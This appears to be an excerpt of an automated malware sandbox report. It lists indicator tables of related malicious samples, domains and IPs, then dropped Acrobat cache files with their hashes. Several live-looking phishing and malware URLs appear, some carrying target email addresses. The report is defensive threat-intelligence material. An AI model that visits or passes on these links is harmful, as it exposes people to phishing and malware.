	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
103.160.107.138	Employee_Secure_Doc.pdf	Get hash	malicious	Unknown	Browse
	https://google.lk/url?q=ernie.grue@nationalmi.com&nationalmi.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#ZXJuaWUuZ3J1ZUBuYXRpb25hbG1pLmNvbQ==	Get hash	malicious	Unknown	Browse
	Employee_Important_Message.pdf	Get hash	malicious	Unknown	Browse
	https://apnasofa.com/episode/index#a29heXllZWNoaW5nQGZhcmVhc3QuY29t	Get hash	malicious	Unknown	Browse
239.255.255.250	ATT4802.html	Get hash	malicious	Unknown	Browse
	Flumroc.docx	Get hash	malicious	Unknown	Browse
	Flumroc.docx	Get hash	malicious	Unknown	Browse
	http://calcuttaclub.in/images/uanjodgs/florida-access/	Get hash	malicious	Unknown	Browse
	https://05kqatnrj9s0snah9.phish.farm/XckdRam1iZXdLcHBTUFlJTlR4SkE5bGxnQ0I0VmtpVFhRWTltRlk3ejQvN2h4WHR0SlJUOXVLRkF5QkQ1R1dlRVVMYWg3RlJPUWwwUFRyeXJqWkhrNHZqU0ErUy9KTC9GRU5UNU9LOFBMaCtIOUgrWG85c2NJdXRVVGY4eG5FVEYrOGgyRGlBQnE2dlQxK1ptMGkvRkUwbkJSMGpnZkMxU2tvSlp3YURJOVFqWkZrV0VLaGJQbldEdS0tV21LS01kOGpOSC9ZWlk0Ry0tZ2ZTcE9EMnkvSHVVSkUvTEhEOWFKQT09?cid=2293724267	Get hash	malicious	KnowBe4	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse
	https://merchbkofin.com/	Get hash	malicious	Unknown	Browse
	https://public-usa.mkt.dynamics.com/api/orgs/010a432a-e2a3-ef11-8a66-6045bd016f25/r/movKLLTpWUCqpRQQ2_8SfQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fapp.seesaw.me%252Fpages%252Fshared_item%253Fitem_id%253Ditem.96abdfb3-93cb-482c-822f-f1d275a42e6e%2526share_token%253DDfLCj_YZQZedsrWVvLwerg%2526mode%253Dshare%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=kBeCY6h3I2oKWHussXexCqSpSk%2BEhyyLm0j2TqAuyLY%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	Unknown	Browse
	https://www.yamajifactory.com/products/-blocks?adr_sou=Facebook&adr_con=scsjchymyyxgs136x&adr_ter=1747260705659006&adr_camId=120212709087730561&adr_adsetId=120212709088740561&adr_adId=120212709088200561&adr_camName=%E5%8F%98%E8%84%B8%E7%A7%AF%E6%9C%A8-%E7%A9%BA-241105-10%E7%BE%8E%E9%87%91+-+%E5%B9%BF%E5%91%8A%E5%89%AF%E6%9C%AC&adr_adsetName=%E7%A9%BA&adr_adName=1&fbclid=IwY2xjawG5dOBleHRuA2FlbQEwAGFkaWQBqxTSdVwj4QEdhDiYdyfw0MIu-_Lo4d4m7akVHEnikvJvX5tkNnnCz6_J__eLEz3mVKk8_aem_PKTifAkeMTNORNhDxlyTuA	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
apnasofa.com	Employee_Secure_Doc.pdf	Get hash	malicious	Unknown	Browse	103.160.107.138
	https://google.lk/url?q=ernie.grue@nationalmi.com&nationalmi.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#ZXJuaWUuZ3J1ZUBuYXRpb25hbG1pLmNvbQ==	Get hash	malicious	Unknown	Browse	103.160.107.138
	Employee_Important_Message.pdf	Get hash	malicious	Unknown	Browse	103.160.107.138
	https://apnasofa.com/episode/index#a29heXllZWNoaW5nQGZhcmVhc3QuY29t	Get hash	malicious	Unknown	Browse	103.160.107.138
api.ipify.org	l6F8Xgr0Ov.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SPlVyHiGOz.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	55qIbHIAZi.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	tEEa6j67ss.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	ship's particulars-TBN.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	HBL BLJ2T2411809005 & DAJKT2411000812.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	1d5sraR1S1.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	P4toChrGer.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	zed.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
ipwhois.app	Employee_Secure_Doc.pdf	Get hash	malicious	Unknown	Browse	103.126.138.87
	https://google.lk/url?q=ernie.grue@nationalmi.com&nationalmi.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#ZXJuaWUuZ3J1ZUBuYXRpb25hbG1pLmNvbQ==	Get hash	malicious	Unknown	Browse	103.126.138.87
	Employee_Important_Message.pdf	Get hash	malicious	Unknown	Browse	103.126.138.87
	https://apnasofa.com/episode/index#a29heXllZWNoaW5nQGZhcmVhc3QuY29t	Get hash	malicious	Unknown	Browse	103.126.138.87
	d8EEfAi7tl.vbs	Get hash	malicious	MoDiRAT	Browse	195.201.57.90
	ubes6SC7Vd.exe	Get hash	malicious	Unknown	Browse	195.201.57.90
	SecuriteInfo.com.FileRepMalware.9397.20651.exe	Get hash	malicious	Unknown	Browse	15.204.213.5
	CbLQcrwzUi.exe	Get hash	malicious	Unknown	Browse	15.204.213.5
	AYReport_EN.exe	Get hash	malicious	BlackGuard	Browse	15.204.213.5
	Fortnite_CHEAT_CRACKED.exe	Get hash	malicious	Unknown	Browse	108.181.47.111
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	SPP_14667098030794_8611971920#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	84.201.208.101
	rAttached_updat.vbs	Get hash	malicious	GuLoader, Remcos	Browse	84.201.211.40
	1d5sraR1S1.exe	Get hash	malicious	AgentTesla	Browse	84.201.211.39
	file.exe	Get hash	malicious	Stealc	Browse	217.20.56.100
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	217.20.56.102
	Employee_Important_Message.pdf	Get hash	malicious	Unknown	Browse	84.201.208.106
	Scan_6090402.pdf	Get hash	malicious	Unknown	Browse	217.20.56.101
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	84.201.208.102
	Demande de proposition du Regional Development Network .pdf	Get hash	malicious	Unknown	Browse	84.201.208.67
	drawing 10023. spec T4 300W .... dimn 560horsepower po 1198624 _ %00% spec .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	217.20.56.101

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ATT4802.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	Flumroc.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
	Flumroc.docx	Get hash	malicious	Unknown	Browse	104.18.94.41
	http://calcuttaclub.in/images/uanjodgs/florida-access/	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://05kqatnrj9s0snah9.phish.farm/XckdRam1iZXdLcHBTUFlJTlR4SkE5bGxnQ0I0VmtpVFhRWTltRlk3ejQvN2h4WHR0SlJUOXVLRkF5QkQ1R1dlRVVMYWg3RlJPUWwwUFRyeXJqWkhrNHZqU0ErUy9KTC9GRU5UNU9LOFBMaCtIOUgrWG85c2NJdXRVVGY4eG5FVEYrOGgyRGlBQnE2dlQxK1ptMGkvRkUwbkJSMGpnZkMxU2tvSlp3YURJOVFqWkZrV0VLaGJQbldEdS0tV21LS01kOGpOSC9ZWlk0Ry0tZ2ZTcE9EMnkvSHVVSkUvTEhEOWFKQT09?cid=2293724267	Get hash	malicious	KnowBe4	Browse	104.17.249.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://merchbkofin.com/	Get hash	malicious	Unknown	Browse	104.17.249.203
	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.150.143
	https://www.yamajifactory.com/products/-blocks?adr_sou=Facebook&adr_con=scsjchymyyxgs136x&adr_ter=1747260705659006&adr_camId=120212709087730561&adr_adsetId=120212709088740561&adr_adId=120212709088200561&adr_camName=%E5%8F%98%E8%84%B8%E7%A7%AF%E6%9C%A8-%E7%A9%BA-241105-10%E7%BE%8E%E9%87%91+-+%E5%B9%BF%E5%91%8A%E5%89%AF%E6%9C%AC&adr_adsetName=%E7%A9%BA&adr_adName=1&fbclid=IwY2xjawG5dOBleHRuA2FlbQEwAGFkaWQBqxTSdVwj4QEdhDiYdyfw0MIu-_Lo4d4m7akVHEnikvJvX5tkNnnCz6_J__eLEz3mVKk8_aem_PKTifAkeMTNORNhDxlyTuA	Get hash	malicious	Unknown	Browse	104.19.144.58
CLOUDFLARENETUS	ATT4802.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	Flumroc.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
	Flumroc.docx	Get hash	malicious	Unknown	Browse	104.18.94.41
	http://calcuttaclub.in/images/uanjodgs/florida-access/	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://05kqatnrj9s0snah9.phish.farm/XckdRam1iZXdLcHBTUFlJTlR4SkE5bGxnQ0I0VmtpVFhRWTltRlk3ejQvN2h4WHR0SlJUOXVLRkF5QkQ1R1dlRVVMYWg3RlJPUWwwUFRyeXJqWkhrNHZqU0ErUy9KTC9GRU5UNU9LOFBMaCtIOUgrWG85c2NJdXRVVGY4eG5FVEYrOGgyRGlBQnE2dlQxK1ptMGkvRkUwbkJSMGpnZkMxU2tvSlp3YURJOVFqWkZrV0VLaGJQbldEdS0tV21LS01kOGpOSC9ZWlk0Ry0tZ2ZTcE9EMnkvSHVVSkUvTEhEOWFKQT09?cid=2293724267	Get hash	malicious	KnowBe4	Browse	104.17.249.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://merchbkofin.com/	Get hash	malicious	Unknown	Browse	104.17.249.203
	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.150.143
	https://www.yamajifactory.com/products/-blocks?adr_sou=Facebook&adr_con=scsjchymyyxgs136x&adr_ter=1747260705659006&adr_camId=120212709087730561&adr_adsetId=120212709088740561&adr_adId=120212709088200561&adr_camName=%E5%8F%98%E8%84%B8%E7%A7%AF%E6%9C%A8-%E7%A9%BA-241105-10%E7%BE%8E%E9%87%91+-+%E5%B9%BF%E5%91%8A%E5%89%AF%E6%9C%AC&adr_adsetName=%E7%A9%BA&adr_adName=1&fbclid=IwY2xjawG5dOBleHRuA2FlbQEwAGFkaWQBqxTSdVwj4QEdhDiYdyfw0MIu-_Lo4d4m7akVHEnikvJvX5tkNnnCz6_J__eLEz3mVKk8_aem_PKTifAkeMTNORNhDxlyTuA	Get hash	malicious	Unknown	Browse	104.19.144.58
AMAZON-02US	ub8ehJSePAfc9FYqZIT6.x86_64.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	http://calcuttaclub.in/images/uanjodgs/florida-access/	Get hash	malicious	Unknown	Browse	108.158.75.56
	https://05kqatnrj9s0snah9.phish.farm/XckdRam1iZXdLcHBTUFlJTlR4SkE5bGxnQ0I0VmtpVFhRWTltRlk3ejQvN2h4WHR0SlJUOXVLRkF5QkQ1R1dlRVVMYWg3RlJPUWwwUFRyeXJqWkhrNHZqU0ErUy9KTC9GRU5UNU9LOFBMaCtIOUgrWG85c2NJdXRVVGY4eG5FVEYrOGgyRGlBQnE2dlQxK1ptMGkvRkUwbkJSMGpnZkMxU2tvSlp3YURJOVFqWkZrV0VLaGJQbldEdS0tV21LS01kOGpOSC9ZWlk0Ry0tZ2ZTcE9EMnkvSHVVSkUvTEhEOWFKQT09?cid=2293724267	Get hash	malicious	KnowBe4	Browse	13.227.8.37
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse	13.227.8.65
	https://public-usa.mkt.dynamics.com/api/orgs/010a432a-e2a3-ef11-8a66-6045bd016f25/r/movKLLTpWUCqpRQQ2_8SfQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fapp.seesaw.me%252Fpages%252Fshared_item%253Fitem_id%253Ditem.96abdfb3-93cb-482c-822f-f1d275a42e6e%2526share_token%253DDfLCj_YZQZedsrWVvLwerg%2526mode%253Dshare%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=kBeCY6h3I2oKWHussXexCqSpSk%2BEhyyLm0j2TqAuyLY%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	Unknown	Browse	13.227.8.13
	https://dashboard-access-micro.softr.app/	Get hash	malicious	Unknown	Browse	3.64.247.100
	https://alessiabelltravel.com/	Get hash	malicious	Unknown	Browse	3.160.196.88
	http://businessproservice.info/auth	Get hash	malicious	Unknown	Browse	34.240.123.106
	https://wakelet.com/wake/VbMFlGJpfAHdaeAVj5Ic0	Get hash	malicious	Unknown	Browse	3.164.85.72
	OVH-AMP.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	138.44.226.180
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	134.115.11.187
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	103.163.150.205
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	103.172.4.110
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	134.149.200.53
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	103.166.231.231
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	103.163.150.225
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	103.182.254.136
	x86-20241130-2047.elf	Get hash	malicious	Mirai	Browse	157.85.210.241
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	103.189.218.24

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	ATT4802.html	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.32.185.164
	Flumroc.docx	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.32.185.164
	https://05kqatnrj9s0snah9.phish.farm/XckdRam1iZXdLcHBTUFlJTlR4SkE5bGxnQ0I0VmtpVFhRWTltRlk3ejQvN2h4WHR0SlJUOXVLRkF5QkQ1R1dlRVVMYWg3RlJPUWwwUFRyeXJqWkhrNHZqU0ErUy9KTC9GRU5UNU9LOFBMaCtIOUgrWG85c2NJdXRVVGY4eG5FVEYrOGgyRGlBQnE2dlQxK1ptMGkvRkUwbkJSMGpnZkMxU2tvSlp3YURJOVFqWkZrV0VLaGJQbldEdS0tV21LS01kOGpOSC9ZWlk0Ry0tZ2ZTcE9EMnkvSHVVSkUvTEhEOWFKQT09?cid=2293724267	Get hash	malicious	KnowBe4	Browse	4.175.87.197 13.107.246.63 23.32.185.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.32.185.164
	https://public-usa.mkt.dynamics.com/api/orgs/010a432a-e2a3-ef11-8a66-6045bd016f25/r/movKLLTpWUCqpRQQ2_8SfQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fapp.seesaw.me%252Fpages%252Fshared_item%253Fitem_id%253Ditem.96abdfb3-93cb-482c-822f-f1d275a42e6e%2526share_token%253DDfLCj_YZQZedsrWVvLwerg%2526mode%253Dshare%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=kBeCY6h3I2oKWHussXexCqSpSk%2BEhyyLm0j2TqAuyLY%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.32.185.164
	https://www.yamajifactory.com/products/-blocks?adr_sou=Facebook&adr_con=scsjchymyyxgs136x&adr_ter=1747260705659006&adr_camId=120212709087730561&adr_adsetId=120212709088740561&adr_adId=120212709088200561&adr_camName=%E5%8F%98%E8%84%B8%E7%A7%AF%E6%9C%A8-%E7%A9%BA-241105-10%E7%BE%8E%E9%87%91+-+%E5%B9%BF%E5%91%8A%E5%89%AF%E6%9C%AC&adr_adsetName=%E7%A9%BA&adr_adName=1&fbclid=IwY2xjawG5dOBleHRuA2FlbQEwAGFkaWQBqxTSdVwj4QEdhDiYdyfw0MIu-_Lo4d4m7akVHEnikvJvX5tkNnnCz6_J__eLEz3mVKk8_aem_PKTifAkeMTNORNhDxlyTuA	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.32.185.164
	https://dashboard-access-micro.softr.app/	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.32.185.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.32.185.164
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 23.32.185.164
	Swiftcopy.xla.xlsx	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.32.185.164

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.245865663300475
Encrypted:	false
SSDEEP:	6:ZNyq2Pwkn2nKuAl9OmbnIFUt8QNDYZZmw+QNDYzkwOwkn2nKuAl9OmbjLJ:ZYvYfHAahFUt8Q5E/+Q5k5JfHAaSJ
MD5:	1669147DC3745BA1993D1DD799BBEED5
SHA1:	843C5277DF8DDEC2C15B849B4A1075F05C609006
SHA-256:	479D879DF7DA9CCF35CCD9E8811CD94DB28EC0C8633E48B0D17C87E3B86162FC
SHA-512:	67ACCFE4D96B6F14F5005E7E3596E31592CD7E9657A05FDF7180F7E364694208A0AEF143625A5BD4A5DD887F1BFE2A90C9B2B29CC356E883B8000EA9AC1BC247
Malicious:	false
Reputation:	low
Preview:	2024/12/02-11:55:03.875 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/02-11:55:03.878 1c94 Recovering log #3.2024/12/02-11:55:03.878 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.245865663300475
Encrypted:	false
SSDEEP:	6:ZNyq2Pwkn2nKuAl9OmbnIFUt8QNDYZZmw+QNDYzkwOwkn2nKuAl9OmbjLJ:ZYvYfHAahFUt8Q5E/+Q5k5JfHAaSJ
MD5:	1669147DC3745BA1993D1DD799BBEED5
SHA1:	843C5277DF8DDEC2C15B849B4A1075F05C609006
SHA-256:	479D879DF7DA9CCF35CCD9E8811CD94DB28EC0C8633E48B0D17C87E3B86162FC
SHA-512:	67ACCFE4D96B6F14F5005E7E3596E31592CD7E9657A05FDF7180F7E364694208A0AEF143625A5BD4A5DD887F1BFE2A90C9B2B29CC356E883B8000EA9AC1BC247
Malicious:	false
Reputation:	low
Preview:	2024/12/02-11:55:03.875 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/02-11:55:03.878 1c94 Recovering log #3.2024/12/02-11:55:03.878 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.151527916839667
Encrypted:	false
SSDEEP:	6:ZNnOq2Pwkn2nKuAl9Ombzo2jMGIFUt8QNwZmw+QNPkwOwkn2nKuAl9Ombzo2jMmd:Z4vYfHAa8uFUt8QS/+Qx5JfHAa8RJ
MD5:	B6701639C18547A37518CE835C72166A
SHA1:	EE061E05EE25F29AA292BF062C2FE757E13B439D
SHA-256:	1DC48D9843FD68D1D2E1D6F31BC47F47B72C5DC0F581D00844D036116EDB9012
SHA-512:	8E7F2B49F24BB490878BBF577B32482A0C00FCAD813B2CE83051E576D7B5C934C134E54EE0DFBB84AD648C0F59BA7888143B5DA9A47BC968723F0ADFBD19FD84
Malicious:	false
Reputation:	low
Preview:	2024/12/02-11:55:03.992 1d00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/02-11:55:03.993 1d00 Recovering log #3.2024/12/02-11:55:03.994 1d00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.151527916839667
Encrypted:	false
SSDEEP:	6:ZNnOq2Pwkn2nKuAl9Ombzo2jMGIFUt8QNwZmw+QNPkwOwkn2nKuAl9Ombzo2jMmd:Z4vYfHAa8uFUt8QS/+Qx5JfHAa8RJ
MD5:	B6701639C18547A37518CE835C72166A
SHA1:	EE061E05EE25F29AA292BF062C2FE757E13B439D
SHA-256:	1DC48D9843FD68D1D2E1D6F31BC47F47B72C5DC0F581D00844D036116EDB9012
SHA-512:	8E7F2B49F24BB490878BBF577B32482A0C00FCAD813B2CE83051E576D7B5C934C134E54EE0DFBB84AD648C0F59BA7888143B5DA9A47BC968723F0ADFBD19FD84
Malicious:	false
Reputation:	low
Preview:	2024/12/02-11:55:03.992 1d00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/02-11:55:03.993 1d00 Recovering log #3.2024/12/02-11:55:03.994 1d00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3618080e-0053-4332-8225-a79969f83ed9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964328371845981
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2MjJHksBdOg2Hacaq3QYiubInP7E4TX:Y2sRdsFMjJHJdMHV3QYhbG7n7
MD5:	3B89F07AFB5EA42FD9413EDFEAD4712D
SHA1:	29D4C4C50BE4CAEBEB674DDDEACD29DE513DAC0E
SHA-256:	9B2A1604ABF085C18F27E332F571486BF23C6B5B9DA9CDBEB788F76E0A5073A6
SHA-512:	77559D0B509EDEB308187B26D2D89CCF9494C9D3AFB86DC5FCF5763006FB3FB921415D33945E1C102DFCCF861EE2DB5E781208D1E6B140346F1E625C28364627
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377718512922495","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":694944},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3ef5fb.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fb498dda-be47-4691-bc1d-03e0bbd960ab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
